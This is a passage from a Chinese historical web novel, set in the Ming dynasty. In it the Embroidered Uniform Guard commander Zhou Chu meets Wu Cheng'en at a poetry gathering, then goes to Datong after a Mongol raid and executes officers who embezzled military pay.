“回大人的话,学生姓吴名承恩,字汝忠。” 吴承恩愈发忐忑,他不知道这位锦衣卫指挥使为何单独问自己的名字,被锦衣卫盯上可不是什么好事。 周楚听到这个名字,心想果然如此。 吴承恩少年成名,是户部尚书叶琪的外曾孙,这些年一直客居在叶琪家中求学,再过几年就会和叶琪的曾孙女成亲,亲上加亲。 不过吴承恩仕途不顺,一生坎坷,目睹了黑暗的朝局,于晚年放浪诗酒,贫老而终。 吴承恩的才学和心理素质都是极佳的,否则也不会活了近八十岁,整本西游记可谓贯穿了他的一生,西游记初成还是在他不到四十岁的时候,想必那时候还没有那么多的抱怨。 等到他晚年开始着重写西游记的时候,就加入了很多东西,包括了对官场黑暗的揭露等等。 “户部尚书叶大人是你什么人?” 周楚看着吴承恩道。 “回大人的话,是学生的外曾祖父。” 吴承恩如实回答道。 “我倒是听说过你的才名。” 周楚笑道。 吴承恩听到这话,才松了口气。 周楚说完这些拍了拍吴承恩的肩膀,转身就离开了。 以他的身份,不必说太多,一句话往往就能左右一个年轻人的前途,不过周楚对吴承恩倒是有其他打算。 比如让他加入正在王阳明老家建立的书院求学。 第190章 周楚的字,蒙古人来袭 周楚和陆炳主持了开场之后,没待多久便离开了,以他们的身份,两人无论谁在这里,在场的年轻人都放不开。 两人离开之后,在场的贵女全都大失所望,不过她们也清楚,以两人的身份,不可能一直待在这里。 而那些公子哥一个个则松了口气,无论是周楚还是陆炳,即便是有意收拢气场,但两人的身份在这里摆着呢,即便两人只是站在那里,都会让他们感到压力很大。 更何况周楚作为他们的同龄人,陆炳比他们大不了多少岁,未曾婚配,两人若是一直在场,那些贵女眼里哪还容得下他们。 不过周楚离开之前,特意将唐伯虎的那首花下酌酒歌写了两幅,两边各让人挂了一幅。 周楚的字练了多年,特别是跟文徵明学的这一年多,触类旁通,有着足够扎实的根基之后再学习其他人的技法,进步那叫一个快。 这也是为什么很多书法大家都会拜不止一个老师的根本原因。 书法这种东西,根基足够扎实之后,不同的技法,会让学习的人有灵光乍现的感觉,愈发能明白如王羲之这些人的字到底写的有多厉害。 “周大人这字,已有大家气象,我不及也。” 吴承恩看着周楚写下的诗词,忍不住感慨道。 吴承恩虽然有才名,但他平日里学习的主要方向并非字画,而是文章,甚至更多的是话本。 吴承恩这两年也写了不少话本,这本就是他的爱好之一,他写的话本都很正经,也就没用笔名。 对于他耗费精力写话本这件事,他的外曾祖父叶琪说过他两次,不过毕竟隔了好几辈,叶琪对他也很是宠爱,说的时候语气也不重。 更何况如今的风气便是如此,很多人都会写话本,区别在于这话本写的正经不正经罢了。 像秦莞,写的话本却是有些不大正经的,所以才不敢让父母知道自己的笔名。 “汝忠,周大人的字连你也不如?” 旁边的一个少年有些不可置信道。 他的才学一般,书法上的研究很少,他虽能看出来周楚的字很好,但具体好到什么程度,他并没有太清晰的认知。 “差远了。” 吴承恩苦笑着摇了摇头。 “周大人自学书法以来,就是跟随唐解元这等名师,前两年更是拜师文徵明这等书法大家,不说所耗费的精力多少,书法一道,有名师和没名师差距极大,更何况我对书法的研究也很浅薄。” 吴承恩补充道。 虽然教他读书的夫子也是个名家,但名家和名家之间也存在很大的区别,像唐伯虎和文徵明这两人,论书画,当世可以说无人可及。 众人听到这话,顿时恍然,不禁羡慕周楚,能拜师唐伯虎和文徵明这等名师。 不过转念一想,他们反而觉得唐伯虎和文徵明足够幸运,能够在周大人微末之时便将其收为弟子。 如今随着周楚身份的水涨船高,唐伯虎名声在京城乃至整个大明攀升到了一个新的高度,唐伯虎的画更是价值飙升,一画难求。 贵女们那边,一个个则恨不得贴在周楚写的这幅字上面,有些懂书法的,更是看的如痴如醉。 “周大人真是文武全才,这等书法造诣,别说与我们同岁的了,即便是三十岁以内的,也少有人能及。” 秦莞看着眼前的这首诗,忍不住说道。 她是懂书法的,自小就被她父亲逼着学习书法,虽然辛苦,却也练的了一手不错的字。 原本秦莞对自己的书法还有些自傲,但此时看到了周楚的字,这种自傲的情绪瞬间消散。 此时她才意识到,自己和周楚这个同龄人之间,差距到底有多大。 以前只是听闻过周楚的经历,她并没有多大的感觉,此时看到了周楚写的字,才明白,自己和这位周大人之间的差距,大的远超自己的想象。 这还仅仅是书法一道,周楚就远超于她,更不用说其他方面了。 这世间,怎么会有这般恐怖的男人? 秦莞原本以为自己已经足够了解周楚了,毕竟她写了很多关于周楚的话本,此时她才发现,自己好像完全不了解这位锦衣卫指挥使,以前自己对他的了解是多么的浅薄。 周楚在秦莞眼中变得愈发神秘。 “表小姐,夫人请您过去说说话。” 此时陆府的一个婢女走到了杨苒身旁,低声道。 杨苒听到这话,对秦莞露出了一个歉意的表情。 “我先去姑母那边一趟。” “去吧去吧。” 秦莞有些羡慕道。 她很清楚,这应该是杨夫人趁机为她和陆家二公子创造相处的机会。 杨苒跟着陆家的下人,很快便来到了杨氏的厢房之中。 “苒苒,冷不冷。” 杨氏拉过杨苒的手,抓在手心里哈着气道。 “不冷的姑母,外面的炭盆很暖和。” 杨苒脸色微红道,也不知是因为不好意思,还是被炭盆的温度烤的。 “那就好,苒苒,你知道我为何要让文心娶你吗?” 杨氏一边说着,一边拿了一块糕点放在杨苒手中。 杨苒接过糕点,吃了一口,顿时眼睛一亮,这么好吃的糕点,她还是第一次吃。 “不知道,按理来说,姑母家的门楣比我家高多了,文心也应该说一家更好。” 杨苒有些不好意思道。 “门楣再高有什么用?要是娶进来一个不省心的,以文心的性子,未必是什么好事,我也不想后宅不宁,你我都是杨家人,等你进了门,咱们娘俩整日在一起多好。” 杨氏笑道。 杨苒听到这话,眼睛顿时亮了。 “姑母放心,我以后定会好好孝敬姑母。” “说什么孝敬不孝敬的,我看中的是你的贤惠,正所谓娶妻当娶贤,有你在身边,以后文心的路也不会走岔了。” 杨氏苦口婆心道。 “你去把文心叫过来。” 杨氏转身看向身旁的婢女道。 “是,夫人。” 婢女离开后,杨氏帮杨苒理了理鬓角。 “你们俩也有些日子没见了吧,趁着诗会,你们好好说说话,原本这诗会便是为你们两人办的。” 杨苒听到这话,心中如同喝了蜜一般。 此时的周楚和陆炳却被急匆匆赶来的黄锦召进了宫中。 “陛下有何吩咐?” 来到御书房之后,周楚和陆炳行礼道。 “衡器,你之前的担心是对的,蒙古人真的攻打大同了。” 嘉靖说道。 第191章 嘉靖的担忧,抵达大同 刚回京的时候,周楚就和朱厚熜说过蒙古人可能会从河套地区攻打大明,并没有说具体攻入地址。 理由也很简单,这两年的冬天格外的寒冷和漫长,冬天的漫长意味着蒙古人难熬。 冬天的牛羊是很难长膘的,能维持自身的肉量不掉已经很不容易了,而且冬天没有草给这些牛羊吃,所以大部分蒙古人都会选择在冬天将大部分牛羊宰了,储存起来过冬。 但冬天的寒冷和漫长意味着大部分蒙古人储存的肉是不够吃的,那就不得不攻打大明,掠夺粮食。 这是草原游牧民族一贯以来的规律。 原本蒙古人已经被大明削弱了不少,如果这么持续削弱下去,根本不用大明攻打,他们自己就会不行。 但奈何出了个俺答,再加上山西的商人不断给他们输送物资,这就导致了蒙古人的反扑。 蒙古人也清楚,这么下去对他们而言无异于温水煮青蛙,大明慢慢就能把他们耗死,自然不会坐以待毙。 如今刚过完年,眼看就要开春了,蒙古人却已经坚持不住了。 好在有了周楚的提醒,嘉靖将大同以及周边的将领都换了个遍,杭熊这个镇守大同的草包将领也被换了下来。 此次蒙古人的进攻虽然出其不意,却也被早有防备的明军艰难的抵挡了下来。 蒙古人的进攻,打的就是一个快,一个出其不意,一旦有了防备,想要迅速攻破城池,简直是痴人说梦。 俺答带领的蒙古部落眼看事不可为,便迅速远撤,遁入草原之中。 “如今有能力追击并歼灭这股蒙古人的队伍,恐怕只有虎贲军和玄武军了,不过玄武军不擅陆战,虎贲军更合适。” 嘉靖看着地图说道。 在草原上作战,讲究的就是来去如风,不给对手反应的机会,这一点虎贲军一旦装备轻甲,完全可以做到。 至于山西的守军,能守住就已经很不错了,完全没有追入草原的能力。 虽然山西守军人数众多,但基本都是步兵,只有少数是骑兵,但素质也相当堪忧。 无论是山西亦或是其他地方上的军队,都存在士兵被吞军饷的问题,这个问题不解决,士兵们不会有很强的战意。 一群没了战意的士兵,那就是乌合之众,一盘散沙,据城而守都很困难,更不用说追击蒙古人了。 “陛下说得对,让稚心率领虎贲军便可以将这股蒙古人歼灭在草原上。” 周楚附和道。 稚心是林鹿的字,是林鹿的父亲给他取的,是希望他能一直保持一颗赤子之心。 周楚并没有直接请战,毕竟自己已经把虎贲军交出去了,此时贸然请战,不太合适,这种军权,皇帝给自己,自己便接着,不给也不领。 果然,嘉靖听到这话摇了摇头。 “稚心领兵打仗的本事一般,就算是比一般将领厉害些,也是因为跟了你一年,恐怕连你两成本事都学不到,朕要的就是一战而竟全功,不然的话,那些文官又要有话说了。” 嘉靖有些烦恼的揉了揉脑袋。 一旦战事陷入胶着态势,那些文官便会趁势而起,现在的嘉靖看似君权稳固,但大明存在太多的问题,一旦让这些文官找到借口,他们便会再次联合在一起。 嘉靖自然不会给他们这个机会。 “这样吧,你亲自去山西走一趟,那里也是你食邑所在,我已经让人传了旨意给稚心,让他率领虎贲军极速赶往大同与你汇合。” 嘉靖说道。 “臣遵旨。” 周楚行礼道。 “多带些人马,护卫你的安全。” 嘉靖有些担忧道。 京城离大同只有六百多里路,但苏州府离大同却有近三千里路,这注定了林鹿以及虎贲军抵达大同要很长时间。 虎贲军最快的赶路方式便是先走水路到天津,不过这显然不现实,两千人的虎贲军可不只是人,还有马匹,周楚的乌骓马坐船之后尚且脚软呢,更不用提一般的战马了。 更何况这么多马坐船也不现实,单单是马粪就很难处理了。 因此虎贲军只能从陆路急行军直奔大同而去。 如此一来,即便再快,也得二十多天虎贲军才能抵达大同。 但大同的形势迫在眉睫,显然没那么长的时间了,周楚必须立刻出发,前往大同整顿兵马,以迎击蒙古人的再次进攻。 周楚在家过完了元宵夜,第二天一早便带上了沈炼以及十几位锦衣卫百户直奔大同而去。 除了这些,还有嘉靖的圣旨以及御赐的腰牌,以便周楚到了大同便宜行事。 不过即便如此,嘉靖也很是担心,朝廷对地方上的兵权早已经丧失了管辖权,特别是大同这种地方,之前嘉靖换将,也只是从大同当地抽调出来一个相对能力较强的将领,并没有从外地委派。 因为嘉靖很清楚这些地方军队和地方豪强之间纠葛很深,一旦处理不妥当,很容易引起哗变,尾大不掉,说的便是他们。 嘉靖让周楚去大同处理这个问题,一来是林鹿远在苏州府,怕来不及,二来是因为周楚行事老辣,如果大同以及整个河套地区的问题周楚都解决不了的话,林鹿去了恐怕只会羊入虎口。 周楚以及一众锦衣卫带上面具,一路轻装疾行,仅仅四五天就到了大同。 戴面具完全是为了防止冷风吹脸,这么寒冷的天气,还要急行军,不戴面具恐怕脸都要被冻僵。 面具上甚至有琉璃做的护目镜,整个面具只留下了两个很小的孔用来呼吸。 这种面具价值不菲,是嘉靖特意让黄锦给周楚送来的。 “大人,前面便是大同。” 沈炼指着不远处的城池,说道。 因为有面具,沈炼说的话瓮声瓮气的。 “入城。” 周楚等人离京的时候,并没有穿锦衣卫的衣服,穿的都是便装,他们总共十几个人,穿锦衣卫的衣服一旦入城,瞬间就会引起城内很多人的注意。 这对周楚而言绝非好事。 此时的大同城内,总兵路瑛正在营帐内和大同的一众士绅吃着羊肉看着美人跳舞,整个营帐内因为有炭火,显得异常暖和。 “路大人,朝廷那边怎么说,给回信了吗?” 其中一个脑满肠肥,两个手上都戴满了金玉指环的家伙问道。 “还没有,不过诸位不必担心,蒙古人本官已经守了下来,想来皇帝也不会说什么,又没有破城,诸位何须担心?” 路瑛自傲道。 “路大人说的是,不过还是需要确认一下才好,不然朝廷一旦派人过来,终究是个麻烦。” 另一个官员说道。 “怕什么?这大同城内,你我便是土皇帝,即便是朝廷的人来了,也得看我们眼色行事,倘若识趣便罢,不识趣,杀了便是了,回头推给蒙古人,神不知鬼不觉。” 路瑛冷笑道。 第192章 周楚安排的暗棋,大同的形势 周楚等人进入大同之后,纷纷将脸上的面具摘了下来,实际上冬天在草原上骑马赶路的,基本上脸上都会带点东西,不然寒风吹的一般人真受不了。 当然,更多的人是用布蒙住脸,然后戴个护目镜。 护目镜在这里可是紧俏货,冬天无论是商队赶路亦或是其他的,都很需要这玩意。 周楚等人这几日风餐露宿,即便离京的时候穿的很厚,但也架不住天气寒冷,再加上骑马的时候速度很快,那寒风真是见缝就钻,一般人还真受不住。 要不是还戴着羊绒护耳,周楚都怀疑自己的耳朵会不会被冻掉。 抵达大同的时候,众人是又冷又饿,就近找了个馆子,将马拴好,留下两个人看马,剩下的人撩开厚重如同被褥的门帘,走了进去。 这里是大同,人生地不熟,周楚对本地人实在没什么信任可言,更何况乌骓马这等名马,不知道会被多少人盯上,留下两人看守还是必要的。 馆子不大,但进去之后瞬间就暖和了起来,这还得归功于那厚的像被褥的门帘,将冷气流完全隔绝在外了,馆子里因为炉火,异常的暖和。 一下子进来了十几个人,顿时引起了馆子里所有食客的注意,那些人看到周楚等人都人高马大的,顿时意识到不好惹,纷纷转过头去,似乎怕惹事。 周楚感觉自己瞬间从地狱回到了人间,浑身舒坦,在外面的时候,整个人都不敢有太大的动作,生怕衣服漏风进来。 这是一个面馆,还是个刀削面馆,有个学徒正扛着一大块面在锅边不停地削面,旁边年纪大点的似乎是大厨。 周楚等人将三个桌子拼在了一起,坐了下来。 “诸位客官,吃点什么?” 小二端着一壶热茶来到周楚等人面前,小心翼翼道。 “一人先来两碗面,来十斤羊肉。” 周楚并没有点酒,这种陌生的地方,饮酒误事。 小二听到这话,顿时来了精神。 “好嘞。” 沈炼拿起桌上的茶壶,倒了一碗热茶,推到了其中一个百户面前。 此人名叫范纪,是锦衣卫之中对毒研究的最深的一个,这次周楚特意带他过来,就是为了防止被人下毒。 范纪端起茶碗,先是闻了闻,然后抿了一口,最后点了点头。 沈炼这才放下心来,给周楚倒了一碗茶。 所有的毒药,或多或少都会有点味道,这又不是后世,有很多化学毒素,现在的毒药基本都是提取出来的,所谓完全无色无味的毒药,基本上是不存在的。 效果好的毒药,多多少少都是有一些味道的,比如砒霜。 一碗热茶下肚,周楚瞬间感觉身体暖了起来。 这么多碗面,削面的那个学徒胳膊都轮冒烟了,不过煮面的锅很大,只要面跟得上,一次可以煮出来很多碗,倒也没让周楚等人等太久。 很快,一碗碗刀削面就被端了上来。 仍然是范纪先动筷子,范纪确认没问题之后,众人这才动筷。 无论是周楚,亦或是沈炼等人,早就饿坏了,即便是最简单的刀削面,众人也吃的风卷残云,一个个如同鲸吸一般,第一碗面没几口就被他们吃光了,很快就到了第二碗。 有了第一碗打底,第二碗面倒是下的没那么快了,再加上面前的十斤羊肉,众人吃的那叫一个香。 “一人再来一碗面,再来十斤羊肉。” 周楚还是低估了这群人的饭量,主要还是因为太饿了。 其中两人吃的差不多了之后抹了抹嘴,去外面替换那俩看马的去了。 周楚看着眼前的刀削面,不禁想起了上一世经常听人说山西菜上不了台面,更是有无数人为了证明山西菜,纷纷上了一份又一份主食。 为此,周楚来之前,特意让那几个负责喂马的太监带上一个厨子,在后面慢慢赶路。 面食偶尔吃一顿还行,要是顿顿都是面,周楚真有点受不了。 吃饱喝足之后,周楚等人纷纷打了个饱嗝,在面馆里坐了一会,这才结账走了出去。 刚一出面馆,寒风迎面而来,原本因为面馆里的暖空气有些犯困的周楚等人瞬间变得无比清醒。 此时的周楚才有心思观察起大同来,整个大同和京城相比,显得荒凉破败了些,色调也完全不同。 毕竟是边境重镇,京城发生战争,倒也很正常。 “大人,属下不知大人前来,有失远迎,还望大人见谅。” 周楚等人出来的时候,大同的锦衣卫千户于海已经候在了门口,于海也是个精明人,并没有穿官服,而且还进行了简单的乔装打扮。 不然的话,他一个锦衣卫千户,在这里还是很扎眼的。 “这里不适合说话。” 周楚将乌骓马牵了出来,翻身上马道。 “大人请随我来。” 于海说完这话,也上了马,在前面带路。 早在大半年前,周楚开始布局大同的时候,就把大同的锦衣卫千户换了,换成了于海。 于海本是在京城当差的,是陆万山手下最信得过的千户之一,被周楚调到了大同,就是为了摸清楚大同的基本局势。 不然的话此时周楚就是两眼一抹黑,什么都不清楚,大同本地的锦衣卫,还有多少是可以信任的,周楚都没底。 大同的其他官员的任命或许没那么容易,但锦衣卫再怎么说都是天子亲军,即便有些锦衣卫被渗透了,也不敢明着来,换一个锦衣卫千户,对周楚和嘉靖而言还是手拿把掐的。 众人跟着于海很快就来到了一处相对僻静又很大的宅院之中。 “大人,这是属下为大人准备的落脚之处。” 于海恭敬道。 周楚看了看眼前的宅院,倒是很大,住大几十人不成问题。 “做的不错,说说吧,如今这大同是个什么局势?” 周楚说着来到正厅,坐下道。 “大人,大同的形势很复杂,锦衣卫之中都有很多被渗透了,所以属下也不敢明目张胆的来见您。” 于海说道。 周楚听到这话,点了点头。 “这一点你做得很好,我们的身份暂时还需要保密。” “这大同,或者说整个河套地区,主要分为三股势力,错综复杂,不过却又狼狈为奸,鱼肉百姓,晋商、官绅和卫所总兵。” 于海如实回答道。 听到这话,周楚并不意外,一路走来,周楚发现这里的百姓比京城过的差了不知道多少,按理说山西乃至整个河套地区应该很富庶。 周楚很清楚,这里富庶的恐怕只有那些商人和官绅,普通百姓和京城或者江南比,要穷的多。 大同的卫所一共有三个,大同左卫,大同右卫和大同前卫。 目前这三所卫所的兵马都归路瑛节制。 “形势不容乐观啊。” 周楚冷笑道。 第193章 周楚:让大同府大小官员都来见本官 “大人,周围出现了不少探子。” 沈炼来到周楚面前,恭敬道。 “这是难免的,我们这些人目标还是大了些。” 周楚无所谓道。 十几个人高马大的壮汉,还都骑着马,如果没人注意到,那才是咄咄怪事。 这些探子想来也是大同的某些势力派来的,前来刺探周楚等人的真实身份,摸不清底细之前,这些人是不会轻易动手的。 通过于海的描述,周楚很清楚,这大同的形势要比苏州府甚至江南的形势更加严峻,这里官商勾结,甚至还勾结了草原上的蒙古人,你中有我,我中有你。 不明形势的人贸然踏进来,恐怕会被这些人弄的粉身碎骨。 要知道无论是大同还是整个河套地区,不只有蒙古人在外虎视眈眈,在内还有马匪。 也不知道这些马匪和这些官绅之间有没有联系,这些卫所兵没那个能力剿匪,周楚倒是相信的。 归根结底,还是因为军饷问题。 想要彻底打开局面,就得从军饷入手。 大同府的知府,这些年倒是经常换,每一任都死的不明不白,朝廷却也没什么好办法,之前朝廷对地方的掌控实在是弱到了一定的程度。 特别是大同这种重镇,朝廷的整体态度便是不求有功但求无过。 没有彻底解决这里问题的把握之前,贸然动手,只会引起强烈的反弹,一旦这里的官绅勾结蒙古人,让蒙古人打进来,对大明会造成致命性的打击。 如果不是嘉靖有意敲打,提前换了将,并且提醒路瑛冬天的时候一定要注意蒙古人,说不定此时大同已经被攻破了。 有了皇帝的提醒,路瑛和大同的官绅即便心中不情愿,也是要做做样子的,倘若一次便被攻破,恐怕难逃死罪。 不过路瑛没想到的是,即便他早有准备,那伙蒙古人还是出乎预料的难缠,再加上他手下的兵战斗意志并不强,导致大同岌岌可危,差点就失守了。 这让路瑛惊出了一身冷汗,他不清楚草原上什么时候出现了这么一股蒙古人,但他也明白,肯定是那些该死的商人卖给他们的武器和盐铁。 不过路瑛也只能在心里骂一骂,毕竟那些商人赚的钱,也有他的份,整个大同,所以官绅和商人已经结合在了一起,一边做着蒙古人的生意,一边靠着煤矿大赚特赚。 “把这些探子都解决了。” 周楚眼露寒光道。 周楚不愿意表露身份,但也不代表任人拿捏,倘若自己一点反应都没有,这些人恐怕会得寸进尺。 “是,大人。” 沈炼满脸兴奋道。 周围的探子并不多,一共七八个,本就地处僻静,突然出现这些人很难不引起沈炼等人的注意。 以沈炼和那些锦衣卫百户的身手,解决这些人简直是易如反掌。 “沈炼,随我出去走走。” 周楚说着信步走了出去,沈炼急忙跟上。 其他人则是暗中跟随,随时保护着周楚的安危。 “大人,我们派出去的人都没了消息。” 大帐之内,一个人来到路瑛等人面前道。 路瑛原本有些懒散的表情听到这话,顿时来了精神。 “诸位怎么看?这些是什么人?居然敢杀我们的人?恐怕来者不善啊。” 路瑛说道。 “不会是京城那边来的吧?” 其中一个官员有些不确定道。 “管他什么人,让人杀了就是了,做成马匪劫掠。” 旁边一个千总满脸不在乎道。 “还是先摸清底细的好,要是杀了不该杀的人,恐怕会引起京城那边的重视,那样就不好了。” 大同府知府胡铎一脸笑容道。 大同府的知府连续死了多位之后,朝廷无奈,只能从大同本地官员之中擢拔一个,此人便是胡铎,出了名的笑面虎。 “胡大人说的是,还是先摸清底细的好,没必要着急,反正大同府是我们的地盘,量他们也翻不出什么水花来。” 路瑛冷笑道。 “多派些兄弟,再探。” 路瑛看着自己面前汇报的百户说道。 “是,大人。” 此人领命离去。 周楚走在大同府的街道上,映入眼帘的是和京城乃至苏州府的繁华截然不同的场景,到处都是被冻的发抖的乞丐,甚至有些已经被冻死了。 “回头让于海组织一些人来给这些人发些吃的,钱我来出。” 周楚叹了口气道。 这种事周楚自己不会去做的,人生地不熟,轻易露财不可取,只会被人盯上。 让于海这种有身份的人代表官府去做,就会好很多。 周楚当然明白扶贫扶贫,越扶越贫,但总得让眼前这些人过去这个冬天,再想办法为他们谋生计。 倘若这两天都活不过去,还谈什么生计? “是,大人。” 沈炼说完这话,叫过来暗中跟随的一个百户,让他去给于海传话。 根据于海这大半年的观察,大同府锦衣卫所的锦衣卫,也只有一半左右是靠得住的,有两成左右是完全靠不住的,剩下的三成则处于摇摆的位置,可以争取。 如今了解完这些基本情况之后,周楚对于隐不隐瞒身份,已经无所谓了,既然已经引起了那些人的注意,那就必须得来些霹雳手段才能镇住他们。 周楚正走着,前面跑过来一个瘦骨嶙峋的中年男人,脚上甚至都没穿鞋,都是冻疮,他的身后追过来几个面色凶恶的男人。 “老子倒要看看,你能往哪跑?老老实实跟老子回去挖矿,否则现在就打死你。” 为首的是一个满脸横肉的胖子,一边追一边骂道。 周楚眼看着这群人追到了自己身边,不着痕迹地伸腿绊了一下为首那人,那人显然是个草包,下盘极不稳,瞬间被摔了个狗吃屎。 “你他娘的找死啊。” 此人爬起来之后,看着周楚,眼看着就要动手。 原本躲在暗处的锦衣卫百户纷纷现身,围了过来。 此人看到这种阵仗,顿时有些慌了。 “你们到底是什么人?知道老子是什么人吗?” 胖子色厉内荏道。 “不知道,你是什么人啊?” 周楚看着眼前的胖子,饶有兴致道。 “老子可是王家的人,我告诉你们,识趣的给老子磕头认个错,这事就算了了,否则你们有一个算一个,都别想走出大同府。” 胖子虽然被围了,却丝毫不怕,在大同府他一向横行霸道惯了,整个大同府,他还没听说过谁敢动王家的人。 王家是大同最大的晋商之一,拥有很多煤矿,和官府来往甚密,在胖子看来,别说周楚这几个来历不明的家伙了,就算是之前的大同知府又如何? 所以他丝毫不怕。 “王家?” 周楚有些意外道。 “没错,怕了?” 胖子斜眼看着周楚,不屑道。 “老子打的就是王家的人,把他们都抓走。” 周楚冷笑道。 “你们死定了!” 胖子和其他几人被按住之后,仍然不忘叫嚣道。 不过很快他就叫不出来了,因为他的嘴被堵住了,为了防止不牢固,沈炼甚至还用布条将他的嘴捆了起来。 “大人,属下来迟了。” 此时于海带着不少锦衣卫赶了过来,来到周楚面前,恭敬道。 “把这些人关押起来,让人去通知大同府的大小官员,来军营之中见本官。” 周楚已经有了计划,自然懒得再隐藏身份了,看着于海道。 “是,大人。” 于海听到这话,满脸的兴奋,别人不清楚,他以前在京城可是跟着周楚混的。 他很清楚,指挥使大人肯定是要有大动作了,有人要倒霉了。 第194章 杀鸡儆猴,整顿军务,周楚的手段 周楚等人换上了锦衣卫的衣服,周楚换上了飞鱼服,骑着马来到了军营入口。 “来者止步,此乃军营,速速退去,否则格杀勿论。” 军营入口的哨塔上,值守的士兵搭弓厉喝道。 “瞎了你的狗眼,看不到我们身上的官服?” 于海怒喝道。 “你们锦衣卫和我们井水不犯河水,今日为了来闯我营门?” 值守的士兵不依不饶道。 “我乃锦衣卫指挥使,长平侯周楚,奉陛下旨意,前来整顿军务,发放军饷。” 周楚说着用右手将圣旨高高举起,说道。 周楚特意强调发放军饷,就是要让这些士兵看到希望,如此一来,他们才会配合自己的行动。 倘若只说整顿军务,天知道是要整顿什么?万一整顿的是他们这些底层士兵呢? 果然,值守的士兵听到这话眼睛都亮了,和另一边哨塔值守的士兵急忙下了哨塔,来到周楚面前单膝跪地行礼。 “小的有眼不识泰山,望大人恕罪。” “尔等不过是职责所在罢了,前面带路吧。” 周楚瞥了一眼两人道。 “是。” 两人这才起身,一左一右为周楚牵马。 原本正在营帐之中的路瑛很快得到了消息。 “锦衣卫指挥使?这下麻烦了!” 路瑛皱眉道。 “大人何出此言?” 一旁的胡铎有些不解道。 “胡大人可能不了解,本官在京中有些好友,这一年多有书信往来,这个锦衣卫指挥使周楚可不是一般人。” 路瑛当即将周楚在京城做的事大致说了一遍,至于江南的事,路瑛的那些好友并不了解内情,也只知道是周楚率军平叛的,其他的都不知道。 即便如此,营帐内的官员听到这些话,也都倒吸了一口凉气,瞬间意识到了周楚是一条过江龙,恐怕来者不善。 “怕什么?这里是大同,不是京城,大同都是我们的人,是龙也得盘着,是虎得给我卧着。” 路瑛下首位坐着的一个商人模样的男人冷笑道。 “诸位,随我去会一会这位周大人吧。” 路瑛起身道。 路瑛言语之间并没有多少紧张的情绪,显然他的观点和这个商人是一样的,这里是大同,不是京城,更何况这里是军营,周楚等人是死是活,还不是他说了算? 当然,如非必要,路瑛是不敢轻易对周楚下手的,毕竟周楚的身份非同一般,锦衣卫指挥使如果死在了地方上,朝廷是一定会彻查的。 “下官路瑛见过指挥使大人。” 路瑛率领众人来到周楚面前,满脸笑容道。 来的都是官员,那个商人并未在其中,让商人进军营,此乃大忌,单单凭这一条,周楚就可以治路瑛的罪,路瑛自然不会傻到让那几位商人跟来。 “下官胡铎见过指挥使大人。” 大同知府胡铎满脸笑容道。 “诸位不必多礼。” 周楚翻身下马道。 “不知周大人大驾光临,有失远迎,实在罪过。” 路瑛满脸愧疚道。 “路大人不必如此,是本官来的突然,并没有通知任何人。” 周楚看了一眼眼前的这些官员,大概有十几位,想来是在这军营之中商议什么事。 “其他官员还要多久能到?” 周楚瞥了一眼于海道。 “回大人的话,属下已经让人去通知了,估摸着得一会,有些离的比较远。” 于海恭敬道。 “那就先不等他们,路大人,将全军将士都叫过来吧。” 周楚看向路瑛道。 “周大人,下官冒昧问一句,您这是要做什么?” 路瑛有些迟疑道。 “不做什么,只是奉陛下旨意,有要事要当着所有将士的面宣布,怎么,路大人,陛下安排的还要向你交代吗?” 周楚冷声道。 “不敢不敢,下官这就去办。” 路瑛倒也不怕周楚整出什么幺蛾子,整个军营都是他说了算,周楚进了军营,是生是死,不过是他一句话的事,所以他是一点都不怕。 很快,全军将士,总共三万人左右,全都集结在了周楚面前。 这等兵力,一般府的卫所可没有这么多,要知道整个江南省的兵力也不过五万左右,但大同不一样,乃是军事重镇,直面草原,一旦大同失守,意味着整个河套地区的失守,对大明会造成巨大的损失。 “大人,所有将士都在这里了,您有何吩咐?” 路瑛略带调侃道。 不只是路瑛,其他的那些官员包括胡铎都是一脸玩味的看着周楚,他们也都想看看周楚能整出什么幺蛾子。 周楚自然知道这些人的心思,心中冷笑,来到了大军面前。 “我乃锦衣卫指挥使周楚,奉陛下之令,前来整肃军务,下面我念到名字的人出列。” 周楚大声喊道。 路瑛等人听到这话,脸色微微一变,不过却也没什么动作,他们想看看周楚怎么个整顿法,倘若只是动一些无关痛痒的人,他们倒也可以视而不见,但如果周楚得寸进尺的话,他们就不得不有所动作了。 路瑛等人却没有注意到,沈炼等人的站位已经变了,沈炼来到了路瑛不远的地方,其他锦衣卫也都来到了这些官员面前。 一旦有所异动,锦衣卫便能瞬间把这些人控制起来。 “百户张举、百户王沐、千户杨锐。。。。。” 周楚一连念了十几个名字,这些人基本都是百户,只有一个千户,这些人都是于海这大半年暗中调查的结果。 实际上远不止这些,不过周楚只是想杀鸡儆猴,又不想引起路瑛等人的警觉,用这些人祭旗再合适不过。 这些人被念到名字,纷纷心中一惊,却也不敢不出列,不过他们都看向了路瑛,似乎在指望这位总兵大人为他们做主。 “尔等贪墨军饷,导致我军将士领不到粮饷,可知罪?” 周楚看着这十几人,怒斥道。 “大人,冤枉啊。” 这些人纷纷大喊冤枉。 “大人,会不会搞错了,这些都是我的老部下,全都清正廉洁,断不会做出贪墨军饷的事。” 路瑛作为总兵,自然是要替这些人说话的,不过对于这些人的生死,路瑛倒也不在意,他在意的不过是自己的威望罢了。 倘若周楚坚持杀这些人,路瑛也不会为了他们对周楚动手,他还没这个魄力。 “本官既然叫他们出来,自然是证据确凿,于海,将证据拿上来。” 周楚看向于海道。 于海听到这话,急忙将事先整理好的册子拿了过来,周楚将册子随手扔给路瑛。 “路大人,好好看看吧。” 周楚冷声道。 路瑛听到这话心中一惊,他没想到周楚准备的居然如此充分。 “来人,将这些人就地正法,以正军心。” 周楚喝道。 众人听到这话,心中大惊。 第195章 雷霆手段,掌控军队 于海带来的锦衣卫,都是绝对信得过的,那些有问题的,他自然不会带过来。 周楚的命令一出,都没给众人反应的机会,这些锦衣卫纷纷上前,将这些人制服,这些人虽然心惊,但眼看路瑛沉默了,顿时明白了什么,全都不敢反抗。 毕竟不反抗,他们或许会死,但他们的家人不会有事,一旦反抗,那可就不好说了,违抗军令,最轻的也是军法处置,往重了说,那可是等同谋反的罪名。 他们这些人早就没了这等血性,自然是不敢反抗的。 于是这些人被锦衣卫当着数万将士的面,直接砍了头。 数万将士看到这一幕,顿时议论纷纷,心中燃起了希望。 但也有不少老兵油子觉得周楚不过是走个过场,做个形式罢了,杀一些无关紧要的人,他们很清楚,侵吞军饷的绝不止这些人,这些不过都是些百户,只有一个千户,他们吃了熊心豹子胆敢私自侵吞军饷? “今日本官奉皇命来到这里,只办三件事,公平!公平!还他娘的是公平!” 周楚大声说道。 